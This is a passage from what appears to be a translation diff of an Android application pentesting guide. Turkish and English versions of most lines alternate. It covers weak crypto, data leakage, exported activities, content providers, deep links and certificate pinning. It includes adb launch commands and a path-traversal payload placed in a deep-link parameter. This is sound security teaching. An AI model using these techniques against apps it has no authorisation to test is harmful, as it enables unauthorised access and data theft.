sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
```
A good way to test this is to try to capture the traffic using some proxy like Burp without authorising Burp CA inside the device. Also, you can generate with Burp a certificate for a different hostname and use it.
### Kırık Kriptografi
### Broken Cryptography
**Zayıf Anahtar Yönetimi Süreçleri**
**Poor Key Management Processes**
Bazı geliştiriciler hassas verileri yerel depolamada saklar ve bunları kod içinde hardcoded/predictable bir anahtar ile şifreler. Bu yapılmamalıdır çünkü bazı reversing işlemleri saldırganların gizli bilgileri çıkarmasına izin verebilir.
Bazı geliştiriciler hassas verileri local storage içinde saklayıp, kodda hardcoded/öngörülebilir bir key ile şifreliyor. Bu yapılmamalıdır çünkü reversing ile saldırganlar gizli bilgileri çıkarabilirler.
**Güvensiz ve/veya Kullanımdan Kaldırılmış Algoritmaların Kullanımı**
**Use of Insecure and/or Deprecated Algorithms**
Geliştiriciler yetkilendirme **kontrolleri** yapmak, veriyi **depola**mak veya **göndermek** için **deprecated algorithms** kullanmamalıdır. Bu algoritmalardan bazıları: RC4, MD4, MD5, SHA1... Örneğin parolaları saklamak için **hashes** kullanılıyorsa, salt ile birlikte brute-force **resistant** olan hashler kullanılmalıdır.
Geliştiriciler yetkilendirme **checks**, **store** veya **send** işlemleri için **deprecated algorithms** kullanmamalıdır. Bunlardan bazıları: RC4, MD4, MD5, SHA1... Örneğin şifreleri saklamak için **hashes** kullanılıyorsa, salt ile birlikte brute-force **resistant** hash algoritmaları tercih edilmelidir.
### Diğer kontroller
### Other checks
- APK'yı obfuscate etmek önerilir; bu, reverse engineer'ların işini zorlaştırır.
- Uygulama hassassa (ör. banka uygulamaları) kendi **kontrollerini yapmalı, mobilin rooted olup olmadığını kontrol etmeli** ve buna göre hareket etmelidir.
- Uygulama hassassa (ör. banka uygulamaları) bir **emulator** kullanılıp kullanılmadığını kontrol etmelidir.
- Uygulama hassassa (ör. banka uygulamaları) **çalıştırmadan önce kendi bütünlüğünü kontrol etmeli** ve değiştirilip değiştirilmediğini kontrol etmelidir.
- Hangi compiler/packer/obfuscator kullanılarak APK inşa edilmiş kontrol etmek için [**APKiD**](https://github.com/rednaga/APKiD) kullanın
- APK'yı **obfuscate** etmek, reverse engineer işini zorlaştırmak için önerilir.
- Uygulama hassassa (ör. banka uygulamaları), mobilin **rooted** olup olmadığını **kendi kontrollerini** yapmalı ve sonuca göre davranmalıdır.
- Uygulama hassassa (ör. banka uygulamaları), bir **emulator** kullanılıp kullanılmadığını kontrol etmelidir.
- Uygulama hassassa (ör. banka uygulamaları), çalıştırmadan önce **kendi integrity'sini kontrol etmeli** ve değiştirilip değiştirilmediğini doğrulamalıdır.
- APK'nın hangi compiler/packer/obfuscator ile derlendiğini kontrol etmek için [**APKiD**](https://github.com/rednaga/APKiD) kullanın
### React Native Application
React uygulamalarının javascript koduna nasıl kolayca erişileceğini öğrenmek için aşağıdaki sayfayı okuyun:
Read the following page to learn how to easily access javascript code of React applications:
{{#ref}}
@ -188,7 +188,7 @@ react-native-application.md
### Xamarin Applications
Xamarin uygulamalarının C# koduna nasıl kolayca erişileceğini öğrenmek için aşağıdaki sayfayı okuyun:
Read the following page to learn how to easily access C# code of a xamarin applications:
{{#ref}}
@ -197,17 +197,17 @@ Xamarin uygulamalarının C# koduna nasıl kolayca erişileceğini öğrenmek i
### Superpacked Applications
Bu [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) göre superpacked, bir uygulamanın içeriğini tek bir dosyaya sıkıştıran bir Meta algoritmasıdır. Blog, bu tür uygulamaları açan bir uygulama oluşturma olasılığından bahsediyor... ve daha hızlı bir yol olarak **uygulamayı çalıştırıp dosya sisteminden açılmış dosyaları toplama** yönteminden söz ediyor.
According to this [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked is a Meta algorithm that compress the content of an application into a single file. The blog talks about the possibility of creating an app that decompress these kind of apps... and a faster way which involves to **execute the application and gather the decompressed files from the filesystem.**
### Automated Static Code Analysis
[**mariana-trench**](https://github.com/facebook/mariana-trench) aracı, uygulamanın **kodunu** **scanning** yaparak **vulnerabilities** bulabilir. Bu araç, araca **input**'un **kullanıcı tarafından kontrol edildiği yerleri** gösteren bir dizi **known sources**, araca kötü niyetli kullanıcı girdisinin zarara yol açabileceği **dangerous places**'ları gösteren **sinks** ve **rules** içerir. Bu kurallar, bir vulnerability'yi gösteren **sources-sinks** kombinasyonlarını belirtir.
The tool [**mariana-trench**](https://github.com/facebook/mariana-trench) is capable of finding **vulnerabilities** by **scanning** the **code** of the application. This tool contains a series of **known sources** (that indicates to the tool the **places** where the **input** is **controlled by the user**), **sinks** (which indicates to the tool **dangerous** **places** where malicious user input could cause damages) and **rules**. These rules indicates the **combination** of **sources-sinks** that indicates a vulnerability.
Bu bilgiyle, **mariana-trench kodu inceleyip mümkün olan zafiyetleri bulacaktır**.
With this knowledge, **mariana-trench will review the code and find possible vulnerabilities on it**.
### Secrets leaked
Bir uygulama içinde keşfedebileceğiniz gizli bilgiler (API keys, parolalar, gizli url'ler, subdomain'ler...) olabilir. Örneğin şu aracı kullanabilirsiniz: [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
An application may contain secrets (API keys, passwords, hidden urls, subdomains...) inside of it that you might be able to discover. You could us a tool such as [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
### Bypass Biometric Authentication
@ -216,14 +216,14 @@ Bir uygulama içinde keşfedebileceğiniz gizli bilgiler (API keys, parolalar, g
bypass-biometric-authentication-android.md
{{#endref}}
### Diğer ilginç fonksiyonlar
### Other interesting functions
- **Kod yürütme**: `Runtime.exec(), ProcessBuilder(), native code:system()`
- **SMS gönderme**: `sendTextMessage, sendMultipartTestMessage`
- **Native fonksiyonlar** `native` olarak tanımlı: `public native, System.loadLibrary, System.load`
- [Bunu okuyun: **native fonksiyonları nasıl reverse edeceğinizi öğrenin**](reversing-native-libraries.md)
- **Code execution**: `Runtime.exec(), ProcessBuilder(), native code:system()`
- **Send SMSs**: `sendTextMessage, sendMultipartTestMessage`
- **Native functions** declared as `native`: `public native, System.loadLibrary, System.load`
- [Read this to learn **how to reverse native functions**](reversing-native-libraries.md)
### **Diğer püf noktaları**
### **Other tricks**
{{#ref}}
@ -234,157 +234,157 @@ content-protocol.md
---
## Dinamik Analiz
## Dynamic Analysis
> Öncelikle, uygulamayı ve tüm ortamı (Burp CA cert, Drozer ve Frida başta olmak üzere) kurabileceğiniz bir ortama ihtiyacınız var. Bu nedenle, rootlu bir cihaz (emulated veya değil) kesinlikle önerilir.
> First of all, you need an environment where you can install the application and all the environment (Burp CA cert, Drozer and Frida mainly). Therefore, a rooted device (emulated or not) is extremely recommended.
### Çevrimiçi Dinamik analiz
### Online Dynamic analysis
Şu platformda **ücretsiz hesap** oluşturabilirsiniz: [https://appetize.io/](https://appetize.io/). Bu platform APK yükleyip çalıştırmanıza izin verir; bu, bir apk'nın nasıl davrandığını görmek için faydalıdır.
You can create a **free account** in: [https://appetize.io/](https://appetize.io). This platform allows you to **upload** and **execute** APKs, so it is useful to see how an apk is behaving.
Hatta web üzerinden **uygulamanızın loglarını görebilir** ve **adb** ile bağlanabilirsiniz.
You can even **see the logs of your application** in the web and connect through **adb**.
![](<../../images/image (831).png>)
ADB bağlantısı sayesinde emülatör içinde **Drozer** ve **Frida** kullanabilirsiniz.
Thanks to the ADB connection you can use **Drozer** and **Frida** inside the emulators.
### Yerel Dinamik Analiz
### Local Dynamic Analysis
#### Bir emulator kullanarak
#### Using an emulator
- [**Android Studio**](https://developer.android.com/studio) (**x86** ve **arm** cihazlar oluşturabilirsiniz; ve [**bu**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**kaynağa göre** en güncel x86 sürümleri **ARM kütüphanelerini** yavaş bir arm emulator'a ihtiyaç duymadan desteklemektedir).
- Bunun nasıl kurulacağını bu sayfada öğrenin:
- [**Android Studio**](https://developer.android.com/studio) (You can create **x86** and **arm** devices, and according to [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**latest x86** versions **support ARM libraries** without needing an slow arm emulator).
- Learn to set it up in this page:
{{#ref}}
avd-android-virtual-device.md
{{#endref}}
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Ücretsiz sürüm:** Personal Edition, bir hesap oluşturmanız gerekir. _Potansiyel hatalardan kaçınmak için VirtualBox _**ILE**_ gelen sürümü **indirmek** önerilir._)
- [**Nox**](https://es.bignox.com) (Ücretsiz, ancak Frida veya Drozer'i desteklemiyor).
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, you need to create an account. _It's recommend to **download** the version **WITH**_ _**VirtualBox** to avoid potential errors._)
- [**Nox**](https://es.bignox.com) (Free, but it doesn't support Frida or Drozer).
> [!TIP]
> Yeni bir emulator oluştururken ekran ne kadar büyükse emulator o kadar yavaş çalışır. Mümkünse küçük ekranları seçin.
> When creating a new emulator on any platform remember that the bigger the screen is, the slower the emulator will run. So select small screens if possible.
Genymotion'da **google services** (ör. AppStore gibi) **kurmak** için aşağıdaki görüntüde kırmızı ile işaretlenmiş butona tıklamanız gerekir:
To **install google services** (like AppStore) in Genymotion you need to click on the red marked button of the following image:
![](<../../images/image (277).png>)
Ayrıca, **Genymotion içindeki Android VM yapılandırmasında** **Bridge Network mode** seçebileceğinizi unutmayın (bu, Android VM'ye başka bir VM'den araçlarla bağlanacaksanız faydalı olacaktır).
Also, notice that in the **configuration of the Android VM in Genymotion** you can select **Bridge Network mode** (this will be useful if you will be connecting to the Android VM from a different VM with the tools).
#### Fiziksel bir cihaz kullanma
#### Use a physical device
Geliştirici seçeneklerini etkinleştirmeniz gerekir ve mümkünse cihazı **root** yapmanız iyi olur:
You need to activate the **debugging** options and it will be cool if you can **root** it:
1. **Ayarlar**.
2. (FromAndroid 8.0) **System** seçin.
3. **About phone** seçin.
4. **Build number** üzerine 7 kez basın.
5. Geri gidin ve **Developer options**'ı bulacaksınız.
1. **Settings**.
2. (FromAndroid 8.0) Select **System**.
3. Select **About phone**.
4. Press **Build number** 7 times.
5. Go back and you will find the **Developer options**.
> Uygulamayı yükledikten sonra yapmanız gereken ilk şey, uygulamayı denemek, ne yaptığını ve nasıl çalıştığını araştırmak ve ona alışmaktır.\
> İlk dinamik analiz aşamasını MobSF dynamic analysis + pidcat kullanarak yapmanızı öneririm; böylece uygulamanın nasıl çalıştığını öğrenirken MobSF daha sonra inceleyebileceğiniz birçok ilginç veriyi capture edecektir.
> Once you have installed the application, the first thing you should do is to try it and investigate what does it do, how does it work and get comfortable with it.\
> I will suggest to **perform this initial dynamic analysis using MobSF dynamic analysis + pidcat**, so we will be able to **learn how the application works** while MobSF **captures** a lot of **interesting** **data** you can review later on.
### Unintended Data Leakage
**Logging**
Geliştiriciler, **debugging information**'ı kamuya açık hale getirmede dikkatli olmalıdır, çünkü bu sensitive data leaks'lara yol açabilir. Uygulama loglarını izlemek ve hassas bilgileri tespit etmek için [**pidcat**](https://github.com/JakeWharton/pidcat) ve `adb logcat` araçları önerilir. **Pidcat**, kullanımı ve okunabilirliği açısından tercih edilir.
Geliştiriciler **debugging information**'ı public olarak ifşa etmek konusunda dikkatli olmalıdır; aksi halde hassas veri leak'lerine yol açabilir. Uygulama loglarını izlemek ve hassas bilgileri tespit etmek için [**pidcat**](https://github.com/JakeWharton/pidcat) ve `adb logcat` önerilir. **Pidcat**, kullanım kolaylığı ve okunabilirliği nedeniyle tercih edilir.
> [!WARNING]
> Android 4.0'dan daha yeni sürümlerden itibaren, **uygulamalar yalnızca kendi loglarına erişebilir**. Yani uygulamalar diğer uygulamaların loglarına erişemez.\
> Yine de hassas bilgileri **loglamamak** önerilir.
> Note that from **later newer than Android 4.0**, **applications are only able to access their own logs**. So applications cannot access other apps logs.\
> Anyway, it's still recommended to **not log sensitive information**.
**Copy/Paste Buffer Caching**
Android'in **clipboard-based** framework'ü uygulamalarda kopyala-yapıştır işlevselliği sağlar, ancak **diğer uygulamalar** panoya erişebileceği için bir risk oluşturur ve hassas verilerin açığa çıkmasına neden olabilir. Kredi kartı bilgileri gibi hassas bölümler için kopyala/yapıştır fonksiyonlarını devre dışı bırakmak önemlidir.
Android'in **clipboard-based** framework'ü uygulamalar arasında kopyala-yapıştır fonksiyonunu sağlar, fakat diğer uygulamaların clipboard'a erişebilmesi nedeniyle hassas verilerin ifşa olma riski vardır. Kredi kartı bilgileri gibi hassas bölümler için copy/paste fonksiyonlarını devre dışı bırakmak önemlidir.
**Crash Logs**
Bir uygulama **crash** yapar ve logları kaydederse, özellikle uygulama tersine mühendislikle çözülemiyorsa, bu loglar saldırganlara yardımcı olabilir. Bu riski azaltmak için crash durumlarında loglama yapmaktan kaçının; loglar ağ üzerinden gönderilecekse güvenlik için SSL kanalı kullanıldığından emin olun.
Eğer bir uygulama **crash** olup log kaydederse, bu loglar özellikle uygulama reverse edilemiyorsa saldırganlara yardımcı olabilir. Bu riski azaltmak için crash durumunda log tutmaktan kaçının ve loglar ağ üzerinden gönderilecekse SSL kanalı üzerinden gönderildiğinden emin olun.
Pentester olarak, **bu loglara bakmayı deneyin**.
Bir pentester olarak, **bu loglara göz atmayı** deneyin.
**Analytics Data Sent To 3rd Parties**
Uygulamalar sıklıkla Google Adsense gibi servisleri entegre eder; geliştiricilerin hatalı uygulaması nedeniyle bu servisler hassas verileri istemeden **leak** edebilir. Potansiyel veri sızıntılarını tespit etmek için uygulamanın trafiğini intercept edip üçüncü taraf servislere hassas bilgi gönderilip gönderilmediğini kontrol etmek önerilir.
Uygulamalar sıklıkla Google Adsense gibi servisleri entegre eder; geliştiricinin hatalı uygulaması nedeniyle hassas veriler istemeden üçüncü taraflara **leak** edilebilir. Olası veri leak'lerini tespit etmek için uygulamanın trafiğini intercept etmek ve üçüncü taraflara gönderilen hassas bilgileri kontrol etmek önerilir.
### SQLite DBs
Çoğu uygulama bilgi saklamak için **internal SQLite databases** kullanır. Pentest sırasında oluşturulan **databaseları**, **tabloların** ve **sütunların** adlarını ve kaydedilen tüm **verileri** inceleyin; çünkü hassas bilgi (bu bir güvenlik açığı olur) bulabilirsiniz.\
Veritabanları genelde `/data/data/the.package.name/databases` altında yer alır, örneğin `/data/data/com.mwr.example.sieve/databases`
Çoğu uygulama bilgi saklamak için **internal SQLite databases** kullanır. Pentest sırasında oluşturulan **databaseları**, **tabloların** ve **sütunların** isimlerini ve saklanan tüm **verileri** inceleyin; hassas bilgi bulabilirsiniz (bu bir vulnerability olur).\
Databases genelde `/data/data/the.package.name/databases` içinde yer alır, örn `/data/data/com.mwr.example.sieve/databases`
Eğer veritabanı gizli bilgileri kaydediyor ve **encrypted** ise fakat parolayı uygulama içinde **bulabiliyorsanız**, bu hâlâ bir **güvenlik açığı**'dır.
Eğer database gizli bilgileri saklıyor ve **encrypted** ise ama uygulama içinde **password**'u bulabiliyorsanız bu hâlâ bir **vulnerability**'dir.
Tabloları listelemek için `.tables` komutunu, tablolardaki sütunları listelemek için `.schema <table_name>` komutunu kullanın.
Tabloları `.tables` ile, tablolardaki sütunları ise `.schema <table_name>` ile enumerate edin.
### Drozer (Exploit Activities, Content Providers and Services)
Drozer Docs'a göre: **Drozer** size bir Android uygulamasının rolünü üstlenme ve diğer uygulamalarla etkileşimde bulunma imkanı verir. Yüklü bir uygulamanın yapabileceği her şeyi yapabilir; örneğin Androidin Inter-Process Communication (IPC) mekanizmasını kullanabilir ve altta yatan işletim sistemi ile etkileşime girebilir. .\
Drozer, exported activities, exported services ve Content Providers'ı **exploit** etmek için kullanışlı bir araçtır; bunu sonraki bölümlerde öğreneceksiniz.
From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** allows you to **assume the role of an Android app** and interact with other apps. It can do **anything that an installed application can do**, such as make use of Androids Inter-Process Communication (IPC) mechanism and interact with the underlying operating system. .\
Drozer is s useful tool to **exploit exported activities, exported services and Content Providers** as you will learn in the following sections.
### Exploiting exported Activities
[**Android Activity nedir, tazelemek isterseniz bunu okuyun.**](android-applications-basics.md#launcher-activity-and-other-activities)\
Ayrıca unutmayın ki bir activity'nin kodu **`onCreate`** metodunda başlar.
[**Read this if you want to refresh what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\
Also remember that the code of an activity starts in the **`onCreate`** method.
**Authorisation bypass**
Bir Activity exported olduğunda ekranını harici bir uygulamadan çağırabilirsiniz. Bu yüzden, eğer hassas bilgi içeren bir activity exported ise, kimlik doğrulama mekanizmalarını **bypass** ederek ona erişebilirsiniz.
When an Activity is exported you can invoke its screen from an external app. Therefore, if an activity with **sensitive information** is **exported** you could **bypass** the **authentication** mechanisms **to access it.**
[**Drozer ile exported activities'i nasıl istismar edeceğinizi öğrenin.**](drozer-tutorial/index.html#activities)
[**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/index.html#activities)
Ayrıca bir exported activity'yi adb üzerinden başlatabilirsiniz:
You can also start an exported activity from adb:
- PackageName is com.example.demo
- Exported ActivityName is com.example.test.MainActivity
```bash
adb shell am start -n com.example.demo/com.example.test.MainActivity
```
**NOT**: MobSF bir activity'de _**singleTask/singleInstance**_ kullanımını `android:launchMode` olarak kötü amaçlı olarak tespit edecektir, fakat [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750) nedeniyle, görünüşe göre bu sadece eski sürümlerde (API versions < 21) tehlikelidir.
**NOTE**: MobSF, bir activity'de `android:launchMode` olarak _**singleTask/singleInstance**_ kullanımını kötü amaçlı olarak tespit edecektir, ancak [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), görünüşe göre bu yalnızca eski sürümlerde (API sürümleri < 21) tehlikelidir.
> [!TIP]
> Bir authorisation bypass her zaman bir vulnerability değildir; bunun nasıl çalıştığına ve hangi bilgilerin açığa çıktığına bağlıdır.
> Bir yetkilendirme bypass'ı her zaman bir zafiyet değildir; bu, bypass'ın nasıl çalıştığına ve hangi bilgilerin açığa çıktığına bağlıdır.
**Sensitive information leakage**
**Hassas bilgi sızıntısı**
**Activities can also return results**. Eğer exported ve korumasız bir activity içinde **`setResult`** metodunu çağıran ve **hassas bilgi** döndüren bir durum bulursanız, sensitive information leakage söz konusudur.
Activity'ler ayrıca sonuç döndürebilir. Eğer dışa açılmış (exported) ve korunmasız bir activity bulur, bunun **`setResult`** metodunu çağırdığını ve **hassas bilgi döndürdüğünü** tespit ederseniz, hassas bilgi sızıntısı vardır.
#### Tapjacking
Eğer Tapjacking engellenmemişse, exported activity'yi kötüye kullanarak **kullanıcının beklenmeyen işlemler gerçekleştirmesini** sağlayabilirsiniz. Daha fazla bilgi için [**what is Tapjacking follow the link**](#tapjacking).
Eğer tapjacking engellenmemişse, dışa açılmış activity'yi kötüye kullanarak **kullanıcının beklenmeyen işlemler yapmasını** sağlayabilirsiniz. For more info about [**what is Tapjacking follow the link**](#tapjacking).
### Exploiting Content Providers - Accessing and manipulating sensitive information
[**Read this if you want to refresh what is a Content Provider.**](android-applications-basics.md#content-provider)\
Content providers temel olarak **veri paylaşımı** için kullanılır. Eğer bir uygulamanın erişilebilir content providers'ı varsa, bunlardan **hassas veriler** çekebilirsiniz. Ayrıca olası **SQL injections** ve **Path Traversals**'ı test etmek ilginçtir çünkü bunlar zayıf olabilir.
Content provider'lar temel olarak veri paylaşmak için kullanılır. Eğer bir uygulamada erişilebilir content provider'lar varsa, bunlardan hassas verileri çekebilmeniz mümkün olabilir. Ayrıca potansiyel SQL injections ve Path Traversals için test etmek önemlidir çünkü bunlar zafiyete açık olabilir.
[**Learn how to exploit Content Providers with Drozer.**](drozer-tutorial/index.html#content-providers)
### **Exploiting Services**
[**Read this if you want to refresh what is a Service.**](android-applications-basics.md#services)\
Bir Service'in eylemlerinin `onStartCommand` metodunda başladığını unutmayın.
Unutmayın ki bir Service'in işlemleri `onStartCommand` metodunda başlar.
Service temelde **veri alabilen**, **işleyebilen** ve **döndürebilen** (veya döndürmeyen) bir bileşendir. Dolayısıyla, bir uygulama bazı Service'leri export ediyorsa ne yaptığını anlamak için **kodu kontrol etmeli** ve gizli bilgileri çıkarmak, kimlik doğrulama önlemlerini bypass etmek gibi amaçlarla **dinamik** olarak **test** etmelisiniz...\
Service temelde veri alabilen, işleyebilen ve (veya) bir yanıt döndürebilen bir bileşendir. Bu nedenle, bir uygulama bazı servisleri export ediyorsa, ne yaptığını anlamak için kodu kontrol etmeli ve gizli bilgileri çıkarmak, kimlik doğrulama önlemlerini bypass etmek gibi amaçlarla dinamik olarak test etmelisiniz.\
[**Learn how to exploit Services with Drozer.**](drozer-tutorial/index.html#services)
### **Exploiting Broadcast Receivers**
[**Read this if you want to refresh what is a Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\
Bir Broadcast Receiver'ın eylemlerinin `onReceive` metodunda başladığını unutmayın.
Unutmayın ki bir Broadcast Receiver'ın işlemleri `onReceive` metodunda başlar.
Bir broadcast receiver belirli bir tür mesajı bekler. Alıcının mesajı nasıl işlediğine bağlı olarak zafiyetli olabilir.\
Bir broadcast receiver belirli bir mesaj türünü bekler. Alıcının mesajı nasıl işlediğine bağlı olarak zafiyete açık olabilir.\
[**Learn how to exploit Broadcast Receivers with Drozer.**](#exploiting-broadcast-receivers)
### **Exploiting Schemes / Deep links**
Deep linkleri manuel olarak arayabilirsiniz; MobSF gibi araçlar veya [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) gibi scriptler kullanabilirsiniz.\
Declare edilmiş bir **scheme**'i **adb** veya bir **browser** ile **açabilirsiniz**:
Deep link'leri manuel olarak, MobSF gibi araçlar veya [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) gibi script'ler kullanarak arayabilirsiniz.\
Bildirilen bir scheme'i adb veya bir browser kullanarak açabilirsiniz:
```bash
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
```
_Paket adını **atlayabilirsiniz** ve mobil cihaz o bağlantıyı açması gereken uygulamayı otomatik olarak çağıracaktır._
_Paket adını **atlayabileceğinizi** unutmayın; mobil cihaz bu bağlantıyı açması gereken uygulamayı otomatik olarak çağıracaktır._
```html
<!-- Browser regular link -->
<a href="scheme://hostname/path?param=value">Click me</a>
@ -393,56 +393,56 @@ _Paket adını **atlayabilirsiniz** ve mobil cihaz o bağlantıyı açması gere
```
**Yürütülen kod**
Uygulamada **yürütülecek kodu** bulmak için deeplink tarafından çağrılan activity'ye gidin ve **`onNewIntent`** fonksiyonunu arayın.
Uygulamada **yürütülecek kodu** bulmak için, deeplink tarafından çağrılan activity'ye gidin ve **`onNewIntent`** fonksiyonunu arayın.
![](<../../images/image (436) (1) (1) (1).png>)
**Hassas bilgi**
Her seferinde bir deep link bulduğunuzda, **URL parametreleri aracılığıyla (örn. şifreler) hassas veri almadığından** emin olun, çünkü başka herhangi bir uygulama **deep link'i taklit ederek bu verileri çalabilir!**
Her deeplink bulduğunuzda, **URL parametreleri aracılığıyla (ör. parolalar) hassas veri almadığından emin olun**, çünkü başka bir uygulama deeplink'i taklit ederek bu verileri çalabilir!
**Path içindeki parametreler**
**Parameters in path**
Ayrıca **herhangi bir deep link'in URL path'i içinde bir parametre kullanıp kullanmadığını da kontrol etmelisiniz**, örneğin: `https://api.example.com/v1/users/{username}` . Bu durumda path traversal zorlayarak şu şekilde erişim sağlayabilirsiniz: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
Doğru endpoint'leri uygulama içinde bulursanız, path'in bir kısmı domain adı olarak kullanılıyorsa **Open Redirect** (Açık Yönlendirme), CSRF token olmadan kullanıcı detaylarını değiştirip hedef endpoint doğru HTTP metodunu kullanıyorsa **account takeover** ve diğer çeşitli zafiyetleri tetikleyebilirsiniz. Bu konuda daha fazla [bilgi için buraya bakın](http://dphoeniixx.com/2020/12/13-2/).
Ayrıca herhangi bir deeplink'in URL path'inin içinde parametre kullanıp kullanmadığını da kontrol etmelisiniz; örneğin: `https://api.example.com/v1/users/{username}`. Bu durumda şu şekilde bir path traversal zorlayabilirsiniz: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
Uygulama içinde doğru endpoint'leri bulursanız, path'in bir kısmı domain adı olarak kullanılıyorsa bir **Open Redirect** (yeniden yönlendirme) oluşturabilir, CSRF token olmadan kullanıcı detaylarını değiştirebiliyorsanız ve vuln endpoint doğru HTTP metodunu kullanıyorsa **account takeover** ve diğer zafiyetlere yol açabilirsiniz. More [info about this here](http://dphoeniixx.com/2020/12/13-2/).
**Daha fazla örnek**
**More examples**
İlginç bir bug bounty raporu: [https://hackerone.com/reports/855618](https://hackerone.com/reports/855618) (links, _/.well-known/assetlinks.json_ hakkında).
An [interesting bug bounty report](https://hackerone.com/reports/855618) about links (_/.well-known/assetlinks.json_).
### Tıma Katmanı İncelemesi ve Doğrulama Hataları
### Transport Layer Inspection and Verification Failures
- **Sertifikalar Android uygulamaları tarafından her zaman düzgün şekilde incelenmez.** Bu uygulamaların self-signed sertifikaları kabul etmesi veya bazı durumlarda HTTP bağlantılarına geri dönmesi yaygındır.
- **SSL/TLS handshake sırasında yapılan müzakereler bazen zayıftır**, güvensiz cipher suite'ler kullanılabilir. Bu zafiyet bağlantıyı man-in-the-middle (MITM) saldırılarına karşı savunmasız bırakır ve saldırganların veriyi deşifre etmesine olanak tanır.
- **Özel bilgilerin leak olması** riski, uygulamalar güvenli kanallarla kimlik doğrulaması yapıp sonraki işlemler için güvensiz kanallar üzerinden iletişim kurduğunda ortaya çıkar. Bu yaklaşım, session cookie'leri veya kullanıcı bilgileri gibi hassas verileri kötü niyetli kişilerin ele geçirmesine karşı koruyamaz.
- **Certificates are not always inspected properly** by Android applications. Bu uygulamaların uyarıları göz ardı edip self-signed sertifikaları kabul etmesi veya bazı durumlarda HTTP bağlantılarına geri dönmesi yaygındır.
- **Negotiations during the SSL/TLS handshake are sometimes weak**, insecure cipher suite'ler kullanılabiliyor. Bu zayıflık bağlantıyı man-in-the-middle (MITM) saldırılarına açık hale getirir ve saldırganların veriyi çözmesine izin verebilir.
- **Leakage of private information** is a risk when applications authenticate using secure channels but then communicate over non-secure channels for other transactions. Bu yaklaşım, oturum çerezleri veya kullanıcı bilgileri gibi hassas verileri kötü niyetli kişilerin ele geçirmesine karşı koruyamaz.
#### Sertifika Doğrulama
#### Certificate Verification
Sertifika doğrulamasına odaklanacağız. Sunucunun sertifikasının bütünlüğü doğrulanmalıdır; bu güvenliği artırmak için kritiktir. Zayıf TLS konfigürasyonları ve hassas verinin şifrelenmemiş kanallarda iletilmesi ciddi riskler doğurabilir. Sunucu sertifikalarını doğrulama ve zafiyetleri ele alma adımları için [**bu kaynak**](https://manifestsecurity.com/android-application-security-part-10/) kapsamlı rehberlik sağlar.
Biz **certificate verification** üzerinde yoğunlaşacağız. Sunucunun sertifikasının bütünlüğünün doğrulanması güvenliği artırmak için kritik öneme sahiptir. Güvensiz TLS konfigürasyonları ve hassas verinin şifrelenmemiş kanallar üzerinden iletilmesi ciddi riskler oluşturabilir. Sunucu sertifikalarını doğrulama ve zafiyetleri ele alma adımları için [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) kapsamlı rehberlik sunar.
#### SSL Pinning
SSL Pinning, uygulamanın sunucunun sertifikasını uygulama içinde saklanan bilinen bir kopyaya karşı doğruladığı bir güvenlik önlemidir. Bu yöntem MITM saldırılarını önlemek için kritiktir. Hassas bilgi işleyen uygulamalar için SSL Pinning uygulanması şiddetle tavsiye edilir.
SSL Pinning, uygulamanın sunucunun sertifikasını uygulama içinde saklanan bilinen bir kopya ile doğruladığı bir güvenlik önlemidir. Bu yöntem MITM saldırılarını önlemek için önemlidir. Hassas bilgi işleyen uygulamalar için SSL Pinning uygulanması şiddetle tavsiye edilir.
#### Trafik İncelemesi
#### Traffic Inspection
HTTP trafiğini incelemek için proxy aracının sertifikasını yüklemeniz gerekir (örn. Burp). Bu sertifikayı yüklemeden şifreli trafik proxy üzerinden görülemeyebilir. Özel bir CA sertifikasının nasıl kurulacağına dair rehber için [**buraya tıklayın**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
HTTP trafiğini incelemek için proxy aracının sertifikasını (örn. Burp) **yüklemeniz** gerekir. Bu sertifika yüklenmezse, şifrelenmiş trafik proxy üzerinden görünmeyebilir. Özel bir CA sertifikasının nasıl yükleneceğine dair rehber için [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
**API Level 24 ve üzerini hedefleyen** uygulamalar, proxy'nin CA sertifikasını kabul etmek için Network Security Config üzerinde değişiklikler gerektirir. Şifreli trafiği incelemek için Network Security Config'i nasıl değiştireceğinize dair yönergeler için [**bu eğitime bakın**](make-apk-accept-ca-certificate.md).
API Level 24 ve üzerini hedefleyen uygulamalar, proxy'nin CA sertifikasını kabul etmek için Network Security Config üzerinde değişiklik gerektirir. Bu adım şifrelenmiş trafiği incelemek için kritiktir. Network Security Config'i değiştirme talimatları için [**refer to this tutorial**](make-apk-accept-ca-certificate.md).
Eğer **Flutter** kullanılıyorsa, [**bu sayfadaki**](flutter.md) talimatları izlemelisiniz. Sadece sertifikayı store'a eklemek işe yaramaz çünkü Flutter'ın kendi geçerli CA listesi vardır.
Eğer **Flutter** kullanılıyorsa, [**this page**](flutter.md) içindeki talimatları takip etmelisiniz. Çünkü sadece sertifikayı store'a eklemek işe yaramaz; Flutter'ın kendi geçerli CA listesi vardır.
#### SSL/TLS pinning'in statik tespiti
#### Static detection of SSL/TLS pinning
